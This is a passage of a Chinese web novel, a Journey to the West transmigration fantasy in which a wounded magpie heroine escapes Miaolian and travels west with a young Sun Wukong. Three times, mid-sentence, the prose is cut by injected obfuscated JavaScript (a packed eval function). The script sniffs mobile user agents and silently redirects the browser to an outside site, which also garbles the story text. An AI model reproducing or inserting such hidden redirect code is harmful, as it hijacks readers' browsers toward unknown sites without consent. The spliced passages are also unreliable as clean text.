打斗持续了半刻钟,知心大王渐渐落了下风,心念一动,忽然变回原身,将自己整个缩在姜怀愫身后。 使出这般不光彩的战术,嘴里却还在放垃圾话:“来呀,想杀我就先从她尸体上跨过去!” 姜怀愫:“......我觉得这样不好。” 知心大王不理她,继续对着妙莲嘴炮输出:“这么不顾及同伴性命,难怪她想离开你!” 姜怀愫:“我没有!” “事到如今我也不瞒你了。”知心大王跳来跳去地躲避剑气,“其实这只小鸟才是主谋,我是从犯。” 姜怀愫震惊于他的无耻,语速极快地为自己辩解: “呸!明明是你意图与我合谋害人,被我坚定拒绝后恼羞成怒,绑了我来做人质。妙莲你别信他胡说八道,肯定是他打不过你,所以才乱说一气想要离间我们。” “你们还需要离间啊?关系都已经差成这样。”知心大王佯装惊讶,“小鸟,你难道没看出来,他是真不在意你死活。” “不,他只是面冷心热。” 这话说出来姜怀愫自己都不信,但又有什么办法,只能尽量捡些好听话哄着妙莲,意在唤醒此人为数不多的良知。 好歹相识一场,别真把她一剑穿心了。 “好啦,你别装了,既然你的性命威胁不了他,我们的原计划差不多也就失败了。你作为带头的,还不赶紧参与战斗,助我一臂之力?” 知心大王这个老不死的,依然没放弃对她的抹黑。大概是觉得此时捂她嘴会显得有点欲盖弥彰,于是选择与她坦然对峙,各执一词,就看妙莲信谁。 姜怀愫回过味儿来,觉得这只狡猾的蜘蛛多半是一开始就做好了这种打算,无论事成与否都将锅推到她身上,降低将来被哪吒寻仇的可能性。 她梗着脖子与他争论了半天,才发现妙莲早已停止进攻,就站在旁边,阴恻恻地看着他们。 她心里正没底,看见妙莲的表情,顿感大事不妙。不是吧,难道他们之间真的连这点信任也没有? 可是该说的都说完了,此时她只能干巴巴吐出一句:“你信我。” 海浪拍击礁石的声音若隐若现,在此处打斗其实是相当危险的行为。稍不留神掉下山崖,就会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447205|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这片波涛汹涌的海域吞没。 在起伏的潮声中,她与妙莲无声地对视了半晌。奈何不会读心术,她实在窥不透他现在是个什么想法。 但从之前吓唬贞老爷那件事可以看出,妙莲对她的要求是,要无条件站在自己这边。 连立场态度不一致都会生气,这样的人,怎么可能容忍她背叛。 “妙莲......”她词穷了。 心头升起无力感,她不知道那些辩解的说辞能为自己争取到几分生机。 现在的状况相当凶险,她被蛛丝控制着站在崖边,知心大王躲在她翅膀后,大有一起跳崖拿她垫背的意思。 实际上知心大王自己也拿不准刚才那番话有没有起到效果,他本意是想祸水东引,把锅推给姜怀愫。就算不成,也能让妙莲陷入片刻的思绪混乱,为自己制造反攻的机会。 而现在妙莲的确停止了进攻。知心大王敏锐地察觉出,他似乎并没有表面看上去那么不在乎姜怀愫,否则怎么会因为那些话动摇。 知心大王迅速拟定出下一步计策。 他要把姜怀愫扔下山崖。 如果妙莲跟着跳下去救她,他便趁机发起进攻,抓住妙莲的破绽,抢到一口神仙肉就算胜利。 如果妙莲无动于衷,他便立马追随姜怀愫而去。但死是不可能死的,他只是要借跳崖死遁。蜘蛛原身这么小,随便勾住一处凸出的崖壁,都能为自己谋条活路。 千算万算没算到,他刚用蛛丝牵着姜怀愫走出半步,妙莲的短剑便直接脱手,带着势如破竹的劲头,穿透姜怀愫的翅膀,顺带将躲在其后的他钉死在崖壁上。 知心大王没有预料到,事态竟然会是这般走向,再多的算计在妙莲不讲理的暴力行径下都变得苍白无力。那一剑毫不留情,仿佛只是为了泄愤。 按理说妙莲看不到他的具体位置,准头不该这么好。更大的可能性是冲着姜怀愫去的,知心大王认为自己只是运气不好被牵连。 姜怀愫胸前的羽毛大半都被伤口流出的鲜血染红,她不确定自己的骨头有没有断掉,只能先集中灵力止血,避免伤势变得更加严重。 知心大王还要更惨些,几乎被剑势切成两半。 重伤之下他妖气失衡,缠在姜怀愫身上的蛛丝因此失了控制。可惜姜怀愫现在状态也不好,没法直接振翅高飞,逃离此地。 伤口太痛了,痛得她说不出话。 兜兜转转还是回到原点。当初也是这样,一只利箭穿透她的翅膀,夺走她的自由,让她不得不停留在这座小城三年之久。 连凶手都是同一人,仿佛陷入某种循环。 姜怀愫真心实意地觉得,碰见妙莲是她的劫数。谁家穿书人这么倒霉的?在同一个坑栽倒两次。 被痛意逼出两滴生理性泪水,视野朦胧间,她看见妙莲朝自己走来。 浪涛在下方轰鸣,海风在耳边呼啸。她突然意识到,要离开妙莲,这正是一个绝佳的机会。 她扑腾着翅膀,像一尾渴水的鱼,在崖边翻滚两圈,一头扎进海里。 急速下降的过程中,视野变得更加模糊。妙莲似乎在崖边探出头来,大声叫着她的名字。 恰逢此时,知心大王为了挣脱那柄钉在自己身上的短剑,不得不催动法术变回人身,拼着最后一口气要跑路,却没把握好时机,正巧将试图跳崖的妙莲挡了回去。 后续战况如何,姜怀愫不得而知。 因为刚落进海里没多久,她就被一个迅急的浪头拍晕了过去。失去意识前的最后一瞬,她抱住了距离自己最近的漂浮物。 可一截被泡发了的树枝又能起到多大的作用,在巨浪中只能承托住她片刻。 她后悔自己过于冲动,这回不出意外的话应该是要出意外了。 希望再次睁眼时,不是在阴司地府。 8. 第 8 章 作乱的蜘蛛精被砍成几段,横尸当场。 妙莲身上的白衣染成了血衣,滑腻的鲜血让他连剑柄都快握不住。 一脚踢开蜘蛛尸体,他跪坐在石崖边缘,往下望去。 入目尽是碧波白沫,浪头与礁石的拍击声令人胆颤。 哪里还有小鸟的身影,不知被海浪卷去了哪里,又或者已经尸沉水底。 心中骤然升起的失控感让妙莲有些不安。 他向来不信别人,只信自己。知心大王矫情饰诈,让他割肉来换姜怀愫的命,这话有几分真假,他不愿去赌。 与其寄希望于缥缈的承诺,不如把宝押在自己身上,去搏一个破局的机会。 在他看来,如果表现出对姜怀愫的在意,只会被知心大王借机拿捏,反倒对己方不利。 只是没想到那蜘蛛精胆小如鼠,一见自己陷入劣势,就铁了心躲在姜怀愫身后不肯出来。 这也不要紧,多花些时间,便能通过声音锁定蜘蛛的位置,一剑过去,打他个出其不意。 无可避免的,在这过程中姜怀愫会受伤。 但在妙莲看来,受伤总比死了好,况且他会找角度避开她要害,不会造成太重的伤势。骨头断了可以接回来,翅膀伤了可以愈合。大不了养三年,再养三年......养她一辈子,也不是难事。 妙莲扔了短剑,俯视着崖壁下的汹涌波涛。 他方才看得清清楚楚,是姜怀愫自己跳下去的。她不信任他,所以看到他走过来,第一反应是逃离? ......是他的自负害了她吗?姜怀愫对他内心所想一无所知,以至于把他当成了与知心大王同样危险的人物。 妙莲知道,一直以来姜怀愫留在他身边不是出于本心,而是被迫。因此知心大王说她是主谋的时候,他动摇过一瞬。 一瞬而已。 稍微深入思考一下就能想通,姜怀愫就算不喜欢他,也不至于跟恶妖合谋害人,她胆子小又天性谨慎,那种事她做不出来。 不过知心大王的话还是让他感到很不爽——“你们还需要离间啊?关系都已经差成这样。” 恶妖眼瞎心也瞎,说的什么胡话。他和姜怀愫关系哪有很差?就算是有那么一点点不和谐,也完全无伤大雅,他们有很多时间可以修补友谊裂痕。 可现在计划搞砸了,不知还有没有机会向姜怀愫解释清楚,他真的没想杀她。 妙莲不甘心,那只蠢鸟怎么能这样干脆利落地就跳海了?不能再等等他么,明明事情马上就要解决了。 寒风中他衣袂翻飞,指尖冰凉,发丝翻卷着乱舞。 跃下悬崖时,他有一瞬间的放空,姜怀愫真值得他这么做? 蓦然袭来的失重感让他五脏六腑都痒痒的,好在下坠没有持续太久,四面八方涌来的海水包裹住他,咸苦的味道灌入口鼻,不大好受。 但很快他又想通了,鸟是他要养的,就算作为饲主......也该对宠物负起责任。 跳个崖而已,死不了。姜怀愫应该还没有被浪冲出去太远,他横竖要把她找回来。 * 太阳把这片浅滩照得暖烘烘的。 此处人迹罕至,地势又低,涨潮期间只露出高处的岩礁,退潮时才露出这么一小片湿软的沙滩。 一只木筏被冲上岸来,持篙之人面露喜色,顺势跳下木筏。 终于找到落脚的地方,他不敢再耽误,赶紧掏出怀里的白色鸟儿,将她放置在温暖的细沙上。 轻拍背部,挤压胸腔,忙活了半天,那只鸟总算在他的抢救之下睁开眼睛,头一歪,吐出几口海水。 姜怀愫的耳朵里像是钻进了一只蜜蜂,嗡嗡作响,让她头晕得厉害。周围的声音由远及近,渐渐清晰起来,她定了定神,看向眼前的陌生少年。 少年也看着她,琥珀色的眼眸中露出好奇:“昏迷了那么久,俺还以为你要死了。” 他都想好了,如果救不回来,就把她埋在这儿。此处风景宜人,作为长眠地是极好的。 姜怀愫抖了抖毛,翅膀又是一阵钝痛。低头一看,伤口已经做过简单的处理,是少年撕下身上的布料,帮她覆住了创口。 手法稍显潦草,几乎把翅膀包成了一个球,但多少有起到一点保护作用。 从海里捡回了一条命,姜怀愫感叹自己终于被幸运女神眷顾,先前的愁闷心绪一扫而空,只想跪地拜谢这位救命恩人: “多谢大侠救我鸟命!” 刚说完这句话她就意识到了不妥。听见一只鸟口吐人言,没与妖类打过交道的普通人会被吓一跳吧? 然而少年反应很平淡,扯下覆面的头巾,说道:“俺不是大侠。” 这才看清,少年脸上长有一层浅棕色的毛发,身后还有一条尾巴摇来摇去。先前缠在腰上,姜怀愫都没注意到他有尾巴。 纵使眉眼清秀,也遮盖不住明显的猴类特征。 姜怀愫悟了,这少年不是人,是只妖!也许是不想让自己的真面目吓到路人,才选择作这副低调打扮。 “那我怎么称呼你呢?”她问道。 少年思索了一会儿。 正儿八经的名字他好像没有,孩儿们都叫他大王。如果想要威风一点正式一点,就是千岁大王,或者美猴王。 尾巴一甩,他报出自己的霸气名号:“俺叫美猴王!” “......”姜怀愫的表情僵住。 “名字很怪吗?”他伸手在她眼前晃了晃,“怎么这种反应。” “不、不怪。好听,威武,霸气。”姜怀愫给予肯定,随后急切追问道,“恩人,你是从花果山来的?” “你怎么知道?” “......我猜的。听说那里猴子很多。” “原来俺们花果山群猴威名远扬到这种程度。”小猴得意。 真是有意栽花花不发,无心插柳柳成荫。之前姜怀愫为了去花果山看猴历经千辛万苦,连山脚都没有摸到,这下可好,跳个崖,直接上了孙悟空的木筏。 顿时就有种找到港湾的安心感,姜怀愫心情一好,觉得翅膀都没那么疼了。她对猴哥的基础好感度很高,越看这张猴脸越是亲切。 “但你不用叫俺大王。”孙悟空挠了挠脸,很通情达理地道,“毕竟你不是花果山的猴子嘛,不归俺管。” 姜怀愫有些犯难:“那......” “随便怎么叫,称呼而已。你要叫俺大王,俺也应。” “真的,随便怎么叫都可以?” “可以。” 这个时期,他应该还没被赐名孙悟空,不然早就报出名字。由此推算,现在猴哥肯定还没拜入菩提祖师门下,正是刚出新手村的时候,划着木筏出海求学。 总不能抢了祖师赐名的活儿,姜怀愫把差点脱口而出的“孙悟空”三个字憋了回去,认真思考起来: “叫你小猴的话,天下猴子何其多,这称呼太没独特性。叫你小王的话,又有点怪怪的,像在叫下属。不如叫你小美?如果觉得‘小’字不好,大美也是可以的。” 至于“大王”这个带有特殊属性的选项,一开始就被她无意识排除在外。作为现代人她的尊卑观念实在浅薄,况且对孙悟空的滤镜太厚,认定了他是好人,便果断抛却戒备心,不再谨小慎微。 虽然孙悟空不认识她,但在她的视角里,已经认识这只猴子很久了。 孙悟空在“大美”和“小美”之间纠结了一会儿,为难道:“可以都不选吗,好难听。” 可想到自己才说过“怎么叫都可以”,此举有出尔反尔的嫌疑,堂堂大王,怎么可以说话不算话。 他叹了口气,妥协道:“大美吧。” 姜怀愫把这名字默念了几遍,自己也觉得有点别扭。察出孙悟空并不喜欢,她想了想,又给出新提议: “大美这名字好像不太适合你......要不果果怎么样?你是从花果山来的嘛,也算沾点边。” 有鱼目在前,果果这个名字霎时就变得没那么难以接受。孙悟空果断道:“可以。” “你又叫什么名字?”他问。 姜怀愫叼着小石子儿在沙滩上写下自己的姓名。 她写一个字,他就念一个字。 “姜、怀、愫?” “对,我的名字。” 孙悟空眼中露出几分羡慕:“看起来真像那么回事。俺也想要个这样的名儿,带姓的。”别人怎么叫他是一回事,可自己总得有个大名才好。 姜怀愫心说别急,将来你会有一个很好听的法名。但这话不好说出口,不然显得像自己未卜先知似的。 “对了,你的伤很严重,短时间内应该飞不起来了。不过俺这里有草药,给你敷上,能好得快些。” “好呀,谢谢你。” 孙悟空从怀里摸出一个层层包裹的布袋,掏出里面的草药,捣烂给她敷在伤口处。大概是自己也常有受伤的时候,所以身上会常备药物。 做完这些,他抬头看了看天色:“现在还早。你家住哪里?俺现在没事做,可以送你一程。” “我没家。” “那你住哪里?” “这......”姜怀愫并不想回去贞府,但眼下还没找到新住处,只好说:“我找棵树就能住。” “唔,好吧,比俺们做猴的方便。”孙悟空有些好奇,“你睡着了会不会从树下掉下来?” “睡在窝里的话,不会的。” “那你之前怎么会掉进海里。” “受了伤,一不小心翻下山崖.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447206|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..”想到妙莲,她心情又低落下来。 按理说离开他是件高兴的事,可一想到自己落崖前还被他误会与知心大王同流合污,有种哑巴吃黄连的不爽感。 “哦,俺还以为你是掉进海里之后才受的伤,那一片有很多尖锐的礁石,风势又大,可凶险。” “你是怎么捡到我的?” “当时浪涛汹涌,俺的筏子差点翻了,正自顾不暇呢,你就被浪头送到俺这儿来了。看你还有气儿,总不能把你扔进海里。” 姜怀愫笑了笑:“.....谢谢。” “顺手的事。” 孙悟空对这片海域很熟悉。从捡到姜怀愫的地方,穿过礁石群,再从入海口附近的狭窄水道挤过去,往东划一段,便能看到这片无人的浅滩。 不过今天浪急,多费了些力气和时间才找到这里。地方不大,只能暂做歇脚处。 孙悟空提醒她:“养伤期间,你最好还是找个没人的地方待着,免得被人捕来吃了。有些嘴馋的,见你飞不起来,会把你当做备用粮。” “你跟凡人打过交道么?” “当然,俺已经在南赡部洲串城游县好几年啦,遇见过许多人。他们胆子很小,”孙悟空作龇牙状,“像这样,就能吓他们一跟头。但你不行的,论长相,威慑力不如俺。” 姜怀愫明知故问:“既然跟凡人打交道有风险,你怎么不在花果山待着,反而在人类城镇游荡?” “想拜师问道,学一个长生不老的本事!”孙悟空的眉眼耷拉下来,“结果一直无缘得遇。想着是不是找错了方向,干脆原路返回,试试往东走,穿过这片海,去东胜神洲瞧瞧。” ......那方向更错了吧? 姜怀愫记得,菩提祖师所居的灵台方寸山,似乎是在西牛贺洲地界来着。 所以孙悟空这几年,一直在新手村打转啊! “没试过往西走吗?”她状似无意地问。 “试过。” “西牛贺洲也去过了?” “那太西了,没去过。” “我听说那里有许多厉害人物出没,不乏神仙大能。”她疯狂暗示,“拜师不怕山高路遥,总要去更远的地方瞧瞧。” 心性澄澈的猴子果然听进去了,觉得她说得有道理。反正没有固定的目的地,往东往西都是一样,既然人家说西边有厉害人物,去瞧瞧也无妨。 就这样轻易被说服,过程顺利得让姜怀愫都难以置信。 “那俺走了!你在这儿养伤吧。哦,等等,俺先把你送到高处,免得涨潮了被淹。”孙悟空托起她。 姜怀愫扭头:“......我能跟你一起去吗?” “不能。” ......没想到被拒绝得这么干脆。看之前的表现,还以为孙悟空很好说话呢。 怪不得孙悟空不介意她随意取名,因为在他看来,二人马上就要分别,怎么称呼对方自然也就不重要,反正只是一面之缘罢了。 “遇到就是缘分,咱俩同样在外漂泊,搭个伴不行么。” 孙悟空很直接地道:“可是俺跟你不熟。而且俺去拜师,带着你有什么用呀,难不成你也想找师父?” 姜怀愫摇了摇头。菩提祖师这种大佬的收徒门槛很高,孙悟空能入门,她可不一定。当个野妖就挺好,自由自在的。 “我没有可以回去的地方,想着跟你四处闯荡,互帮互助呗。等我伤好了,还可以飞在前面帮你探路。” “这点倒是不错,你会飞。不过你没跟凡人打过交道,如果要探问消息,还得俺自己去。” “谁说我没跟凡人打过交道了。我之前......在一个凡人家里住过一段时间。” “俺还以为你是野鸟呢。”孙悟空好奇追问,“既然有住处,怎么又不住了?” “说来话长。”她不愿细说,囫囵道,“与我住一起的是个十来岁的小屁孩。跟他相处不来,干脆跑路了。” 私心是不愿把孙悟空扯进这桩麻烦事,毕竟他现在的主线任务是拜师,要是提前跟哪吒扯上关系,剧情说不定会乱套。 至于妙莲......过个几十年就该回天上了,到时他肯定不记得自己在凡间养过一只鸟。 就算记得又怎么样,她总不能冲到天庭找哪吒算账吧,连妙莲都干不过,更不要说本尊了。 有些郁闷地想着,翅膀上这道剑伤只能算她倒霉了。好在没有断筋断骨,养段时间就能恢复。 孙悟空听到她的话,了然地点点头:“这个年纪的人类小孩确实不好对付。” “嗯。”姜怀愫忍不住带了点情绪,“他不懂怎么交朋友。” 回想一下,住在贞家这三年,学了点本事,还不算太坏。如今桥归桥路归路,正是她所希望的。 9. 第 9 章 “话虽如此,可俺之前一直是独自赶路......”孙悟空作思索状,看起来似乎仍更倾向于与姜怀愫大路朝天各走一边。 虽然有心想与孙悟空搭伙,人家不愿意,姜怀愫也不会死皮赖脸非要跟着,见两句话说服不了他,便已萌生退意。 要不去花果山待一段时间?看孙悟空这个性子,他管教过的猴子猴孙应该也是好猴,至少不会赶她走。 现在她有法术傍身,体格更是比三年前强健了许多,等伤养好之后,就可以试着跨海寻山了。 正要向孙悟空询问关于花果山的更多细节,却见他抬眉望天,似乎在观察什么。 姜怀愫也跟着抬头:“怎么了?” “什么鬼天气。”他嘟囔,“刚才还是大晴天,现在就下雨。” 话音刚落,姜怀愫就感觉到头顶一凉,有细小的水滴砸落下来。 光秃秃的沙滩上没有躲雨的地方,猴子把她揣在怀里,往更高的岩礁处走。 “你之前在海里泡了那么久,伤口情况已经很糟糕,以后要注意避水。”孙悟空很热心肠地表示,“等雨停了,还是送你上岸去。这里太近水了,岩礁又光秃秃的,找不见几棵树,不适合久住。” 萍水相逢,人家愿意帮她这么多已经仁至义尽,姜怀愫想着也该投桃报李,当即施展法术,在孙悟空周身圈出一片无雨的地带。 孙悟空没学过法术却能感知到灵力波动,愣了一下,很快反应过来,是姜怀愫在做法替他挡雨。 低头一看,鸟儿背上的羽毛都竖起来了,瞳孔轻微收缩,翅膀微微抖动,看起来正努力维持着这一方小结界不被雨水入侵。 “你会法术啊?” 姜怀愫谦虚道:“一点点。” “这些法术从哪里学的?能教俺吗?”孙悟空瞬间来了兴趣,目光炯炯地盯着她。 “......教不了,我自学的。” “不是我小气啊。”姜怀愫为自己辩解,“有些法术我自己会,但不知道该怎么教别人。”况且那几本书她也没带在身上,总不能闭着眼乱教一通。 再者,孙悟空的正牌师父还在灵台方寸山等着呢,她要是插手教学,搞不好误人子弟。 孙悟空似乎有些失落,但也没恼火,很豁达地道:“好吧,那等俺以后拜了师,再让师父教俺。” 姜怀愫观察着他的反应:“你没生气吧?” “俺为啥生气。”孙悟空把她捧到眼前观察,“行啦,你也别忙活了,你看你,施个法多费劲呢。” “我平常不这样,今天受了伤,状态不好。” 孙悟空用袖子笼住她,似是调侃地说:“这点儿雨,俺又不怕淋,快收了神通吧鸟大王。” “......” 一猴一鸟爬到高处,缩在石壁凹陷处躲雨。 安安静静地看着珠帘似的雨幕,一时无话。雨声太助眠,姜怀愫困意渐生,有点想睡觉了。 可惜这场雨来得快去得也快,没过几分钟,乌云散去,天空再度放晴。 孙悟空把她从袖子里掏出来,“别睡,赶路了。” 她努力睁开眼睛:“我没睡。” “姜怀愫。” “嗯,嗯。”她的头像小鸡啄米似的,一晃一晃。 刚刚下雨的时候,俺在想......” “什么?”她强撑着搭话。 “要不听你的,咱俩搭个伴。” 姜怀愫一滞,瞬间睡意全无,不知道孙悟空为什么突然改变主意,但不管三七二十一先答应下来再说:“好!” 顿了顿,她又问:“我确认一下,是一起去西牛贺洲对吧?” “对。”孙悟空挠了挠头,“本来俺想说,你要是无家可回,可以去花果山。比起在外漂泊,还是山里待着舒服。” “待在花果山是不错。”姜怀愫老实道,“但出去见见世面也挺好,走得高,看得远。” 孙悟空拍板:“行,既然你也乐意,那就这么决定了。一起去西牛贺洲!事不宜迟,赶紧出发。” “这就走了?” “当然了,难不成白天休息,夜里赶路。”孙悟空吭哧吭哧去拖自己的木筏,“出发,出发!” 或许是被他的积极态度所感染,姜怀愫先前有些低落的情绪也一扫而空,颇有种天高任鸟飞的畅快感,虽说现在暂时飞不起来。 孙悟空一边撑筏,一边同她聊天:“路途可能会有些艰辛,不过你会法术,足以自保。” 姜怀愫信誓旦旦:“不仅能自保,还能保你。” 她心想,或许是自己先前露的那一手让孙悟空改变了主意,带一只生存能力堪忧的喜鹊一同上路确实是负累,有法术的话就不一样了。 深刻体会到了什么叫技多不压身。 孙悟空用一副过来人的语气叮嘱她,“不是所有妖怪都是好妖怪,即便身为同族,也可能对你痛下杀手,在外要保持警惕。” 她就差拿个小本本记下来,猛猛点头:“我明白。” 这片海域看着宽阔,但穿过岩礁,离人类居住区便不远了。 孙悟空轻车熟路地往西北岸去,在临海的一个小渔村停了筏子,招呼昏昏欲睡的姜怀愫:“你怎么又睡着了?” “不好意思......有点晕船。” “哦。”孙悟空表示理解,“那没事,接下来不走水路了。往西牛贺洲去的话,不用再下海,这筏子可以扔了。” 然而出师不利,刚上岸没过多久,孙悟空走着走着一摸兜,发现自己装草药的布袋不见了。 他回想了一下,觉得很大可能是落在了那片浅滩上。反正离这里不远,他决定回去找一趟。 “你就不用跟着回了,在这里等俺。”自带爬树技能的猴子,三下五除二就把姜怀愫送到树上最高的枝杈处,用叶子遮掩住。 “......你拿完东西会回来的吧?”莫名有种不安感。 孙悟空气得瞪眼:“难道你觉得俺会把你丢在这里?俺不是那种猴好吧!” 她赶紧给孙悟空顺毛:“没没没,随口一问。你快去快回,我在这儿等你,哪也不去。” “行。” 孙悟空跳上筏子,冲她挥了挥手,意思是让她在树上藏好,别往外探头了。 一眨不眨注视着他远去的背影,姜怀愫眼睛都看酸了,还是没挪开目光。她和孙悟空没什么感情基础,就算他真的把她丢下,也不奇怪。 大概是在短时间内经历了太多变故,她现在有点杯弓蛇影,不由设想起最坏的状况。 要是与孙悟空分道扬镳......天大地大,她能去的地方还有很多。万寿山平顶山七绝山......想了一圈,还是花果山最无害了。 梳理着乱七八糟的念头,不知不觉已过去一个时辰。 在这期间,姜怀愫没忘了避开树下凡人的视线,缩在叶子后面安静装空气。 翅膀伤了实在诸多不便,连下树都困难。她估量着自己的伤势,约莫要个一两月才能好彻底。 直到海平面一只小小竹筏飘进视野,她终于松了口气。好吧,是她以小人之心度君子之腹了,猴哥不会跟她耍心眼。 “你的药袋子找到了吗?” “找到了。”孙悟空摊手,“但没带回来,白跑一趟。” “什么意思?”她有点没听懂,“找到了为啥不带回来。” “碰到个小孩,摔伤了腿,一瘸一拐的,看着怪可怜,就把药袋给他了。” 姜怀愫惊讶道:“那鸟不拉屎的地方能有小孩?” “不是一般小孩。俺要送他回家,他拒绝了,说自己能回去。”孙悟空评价道,“很犟,但有点本事,懒得管他了。” “......我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447207|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点好奇,这小孩长什么样啊。”她有种不祥的预感。 “白白嫩嫩的,挺漂亮。但衣服穿得乱七八糟,身上还有伤。” 姜怀愫脑海中冒出一个小小人影,心说不会吧不会吧,听描述怎么这么像贞妙莲,冤家路窄? “他说他来找人......哦不,找鸟。是一只白喜鹊,伤了翅膀掉进海里,跟他失散了。” 姜怀愫心虚地左顾右盼:“哈哈,是吗,居然有鸟跟我一样倒霉。” 孙悟空忽然狡黠一笑:“放心,没卖你。” “......” “他看上去挺有礼貌的,不像坏孩子。”孙悟空一脸八卦,“你怎么会跟他相处不来?” 既然早就被看穿,姜怀愫索性也不装了: “那小孩是属于绵里藏针的类型,对不熟的人挺友善的。唉,我也说不好。”她神色游移,“相处过几年罢了,我不敢说自己完全了解他。” 孙悟空若有所思地看着她:“等等,俺多嘴问一句......你的伤是不是跟他有关?” 这种时候就不需要这么敏锐了吧。 姜怀愫纠结了两秒。她不想撒谎也不想细说,含糊道:“是他伤的,中间有点误会。” “唔,跟那小孩的说辞一样嘛。” “什么?” “那小孩跟俺说,他跟他的喜鹊朋友之间有点误会,必须尽快碰头,解释清楚。” 姜怀愫一怔,听这意思,妙莲是知悉了蜘蛛精的谎话,觉得冤枉了她,所以想找她求和? 呵呵,即便如此,她也不可能回去跟妙莲碰头的! 当时跳崖就是为了趁机逃跑,好不容易重获自由,傻子才回去让他拴着玩儿。 不过,既然双方都知道中间有误会,那就等于没有误会。她心里舒畅许多,那一丁点儿的憋屈也烟消云散了。 往深了想,妙莲有工夫来寻她,说明知心大王肯定已经被解决掉,按照妙莲的性子,不会给那恶妖留活路的。 所以这件事其实皆大欢喜,恶妖伏诛,姜怀愫也提前结束了自己的有期徒刑。 她想,与妙连的交集到此为止就好,他是天上的大神,迟早要回归本位的。 “那个......” “嗯?” “你说他瘸了腿,伤得很重吗?” “他说自己没事,不知是不是死要面子在逞强。”孙悟空撸起袖子,一脸跃跃欲试,“但他的伤不是你搞出来的,你的伤却是他造成的,不如咱们找个机会,报复回去?” 姜怀愫欲言又止,悄摸估算了一下双方战力,觉得目前阶段的孙悟空等级还太低,又不会法术,胜算很低。 犹豫了片刻,最后还是选择实诚告知:“悟......果果啊,你现在不一定打得过他。” 好险,差点把那个名字叫出来了。忍住忍住,等菩提祖师赐过名,才能光明正大地叫他孙悟空! 好在猴儿并没关注到她的口误,此刻不服气地挺起胸膛:“没试过怎么知道!” “唉,眼下求师问道才是正经事,我们抓紧上路吧。”姜怀愫劝说道,“你要想与他切磋,将来有的是机会,等学到本事再来找他岂不更好。” 总而言之,先推主线任务! “可他是凡人。” “他不是普通凡人,很厉害的,会法术。” 孙悟空摆了摆手:“俺不是这个意思。俺是想说,他一个凡人能活多少年头?说不定,等俺拜师回来,他坟头草都有你高了,哪还有机会切磋。” 听起来有点道理。但......妙莲会死,哪吒却是寿与天齐的大神,归根结底,这俩是一个人。 想通了这一点,姜怀愫坚定道: “有机会的,你和他,肯定还有再见面的时候。” 只不过那时,已经是齐天大圣和三坛海会大神了。 10. 第 10 章 最终孙悟空还是听了劝,没有头铁地去找妙莲。 一鸟一猴就此踏上征途,在姜怀愫有意无意的暗示指引下,少走了许多弯路,基本没有偏离过方向,直奔西牛贺洲而去。 与孙悟空在一起的旅途还算轻松,他虽有好战的一面,但也懂得避险。几年的旅行经验不是白混的,他对妖怪们的了解比姜怀愫要深刻许多。 伤好之后,姜怀愫不用再被孙悟空揣在兜里,重回广阔天空,怎一个爽字了得。 虽然她也没那么勤快,很多时候还是更愿意偷懒,站在孙悟空肩膀上搭顺风车。但不能飞和不想飞是两回事,现在这样就挺好。 进入凡人密集的活动区域时,孙悟空就会戴上头巾。光看身形,他与人类少年几乎没有差别。 他特意买了一个竹篓背在背上,姜怀愫躲在里面,也能跟着他走街串巷了。 通过漏光的孔洞,她可以观察到竹篓外的情况。 凡人的集市果然热闹,那些冒着热气的小吃摊边总排着长队,姜怀愫看得眼馋,可惜兜里没两个子儿,只能闻闻味儿。 明面上财政大权由孙悟空掌管,但实际上他也没钱,荷包里的几个铜板被盘得发光了也没舍得花出去。 鸟和猴穷得响叮当,吃饭喝水全靠大自然的馈赠,在野外找到什么吃什么,在人类城镇过夜的话就只能靠好心人施舍。 他们商量着得找个赚钱的法子。 今时不同往日,除了猴还多了只鸟,人多力量大,两个脑瓜加起来,一定能想到办法。 “俺以前试过打短工。”孙悟空气愤道,“东家说不要脸上长毛的。” “要不我帮你剃掉......” “猴子不长毛还叫什么猴子?”孙悟空果断拒绝,“不要。” 姜怀愫心里那叫一个悔啊,妙莲家那么有钱,她怎么就没捞着个一星半点。早知道那条金链子不该丢掉的,留着当了还能换几顿饭。 冥思苦想了半天,她灵光一闪:“要不这样,去野外摘果子拿到集市上卖。” “试过了,城镇附近能摘到的野果都太酸,没有凡人园子里种的好吃。摆摊一整天,俺就卖出去二两。花果山的果子倒是个个皮薄肉甜,可惜太远,凡人没这口福。” “那......猎兽换钱?捉点鱼抓点野鸡什么的......” 想了想,她又把自己给否了:“算了,咱们自己都不够吃,哪还有多余的拿出来卖。” 况且修仙之人,还是少造杀业为妙。为了续命果腹就另说,问题是现在还没到山穷水尽的地步,不赚钱也能活得下去。 